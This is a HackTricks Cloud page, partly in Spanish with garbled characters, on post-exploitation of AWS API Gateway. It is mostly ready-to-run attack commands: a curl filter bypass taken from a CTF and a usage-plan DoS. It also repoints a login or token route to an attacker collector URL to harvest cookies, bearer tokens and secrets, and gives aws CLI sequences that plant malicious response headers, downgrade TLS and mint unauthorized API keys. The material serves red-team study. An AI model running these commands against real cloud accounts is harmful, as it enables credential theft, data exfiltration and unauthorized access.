AWS - API Gateway Post Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
API Gateway
Para m谩s informaci贸n, consulta:
Acceso a APIs no expuestas
You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn鈥檛 exposed before.
Bypass Request body passthrough
This technique was found in this CTF writeup.
As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH , when checking the Content-Type header of the request, will pass the request to the back end with no transformation.
Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Sin embargo, enviar una solicitud con Content-type: text/json evitar铆a ese filtro.
Finalmente, dado que el API Gateway solo permit铆a Get y Options, era posible enviar una consulta arbitraria a dynamoDB sin ning煤n l铆mite enviando una solicitud POST con la consulta en el cuerpo y usando la cabecera X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
En la secci贸n Enumeration puedes ver c贸mo obtener el usage plan de las keys. Si tienes la key y est谩 limitada a X usos por mes, podr铆as simplemente usarla y causar un DoS.
La API Key solo necesita ser incluida dentro de un HTTP header llamado x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Si puedes actualizar una HTTP API integration, puedes repoint una ruta sensible (p. ej. /login, /token, /submit) a un endpoint HTTP controlado por el atacante y recoger silenciosamente headers y bodies (cookies, bearer tokens Authorization, session ids, API keys, secretos enviados por jobs internos, etc.).
Example workflow:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Notes:
- Para HTTP APIs, los cambios suelen aplicarse inmediatamente (a diferencia de REST APIs donde t铆picamente necesitas crear un deployment).
- Si puedes apuntar a una URL arbitraria depende del integration type/config; en algunos casos tambi茅n puedes cambiar el integration type al patching it.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Un atacante con los permisos apigateway:UpdateGatewayResponse y apigateway:CreateDeployment puede modificar un Gateway Response existente para incluir custom headers o response templates que leak informaci贸n sensible o ejecuten scripts maliciosos.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto potencial: Filtraci贸n de informaci贸n sensible, ejecuci贸n de scripts maliciosos o acceso no autorizado a recursos de API.
Note
Requiere pruebas
apigateway:UpdateStage, apigateway:CreateDeployment
Un atacante con los permisos apigateway:UpdateStage y apigateway:CreateDeployment puede modificar un stage existente de API Gateway para redirigir el tr谩fico a un stage diferente o cambiar la configuraci贸n de cach茅 para obtener acceso no autorizado a datos en cach茅.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto potencial: Acceso no autorizado a datos en cach茅, interrupci贸n o interceptaci贸n del tr谩fico de API.
Note
Requiere pruebas
apigateway:PutMethodResponse, apigateway:CreateDeployment
Un atacante con los permisos apigateway:PutMethodResponse y apigateway:CreateDeployment puede modificar la respuesta de un m茅todo existente de API Gateway REST API para incluir cabeceras personalizadas o plantillas de respuesta que leak informaci贸n sensible o ejecuten scripts maliciosos.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: Filtraci贸n de informaci贸n sensible, ejecuci贸n de scripts maliciosos o acceso no autorizado a recursos de API.
Note
Necesita pruebas
apigateway:UpdateRestApi, apigateway:CreateDeployment
Un atacante con los permisos apigateway:UpdateRestApi y apigateway:CreateDeployment puede modificar los ajustes del API Gateway REST API para deshabilitar el registro o cambiar la versi贸n m铆nima de TLS, debilitando potencialmente la seguridad de la API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto potencial: Debilitamiento de la seguridad de la API, lo que potencialmente permite acceso no autorizado o la exposici贸n de informaci贸n sensible.
Note
Requiere pruebas
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Un atacante con permisos apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, y apigateway:CreateUsagePlanKey puede crear nuevas API keys, asociarlas con usage plans y luego usar estas keys para acceso no autorizado a APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Impacto potencial: Acceso no autorizado a recursos de API, elusi贸n de controles de seguridad.
Note
Requiere pruebas
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

